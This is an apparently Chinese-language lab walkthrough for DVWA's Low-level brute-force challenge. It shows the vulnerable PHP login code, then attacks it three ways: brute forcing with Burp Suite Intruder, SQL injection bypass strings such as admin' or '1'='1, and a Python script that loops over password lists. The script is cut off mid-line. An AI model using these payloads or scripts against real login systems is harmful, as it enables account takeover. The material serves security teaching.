Low Level
开发人员完全没有使用任何防御方法,允许任何人登录任意账户,进行任意次数的尝试,对用户无任何影响。
关键代码
if( isset( $_GET[ 'Login' ] ) ) { $user = $_GET[ 'username' ]; $pass = $_GET[ 'password' ]; $pass = md5( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; }
可以看到,服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
漏洞利用
方法一 利用burpsuite进行爆破
1.抓包
2.ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$
3.选中Payloads,载入字典,点击Start attack进行爆破
4.最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
方法二 使用万能密钥 手工sql注入
1. Username: admin’ or ’1′=’1
Password:(空)
注入成功
2. Username: admin’ #
Password:(空)
注入成功
方法三 使用Python脚本爆破
脚本
# Author:Zheng Na import requests url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/' headers = {"Cookie":"security=low; PHPSESSID=p38gtdeop18kcedkdhkh75ri45"} flag = False f1 = open("username.txt", 'r') for line1 in f1: username = line1.strip() f2 = open("password.txt", 'r') for line2 in f2: password=line2.strip() params = {'username': username, 'password': password, 'Login': 'login'} response = requests.get(url, params=params, headers=headers) if "Welcome to the password protected area" in response.text: print("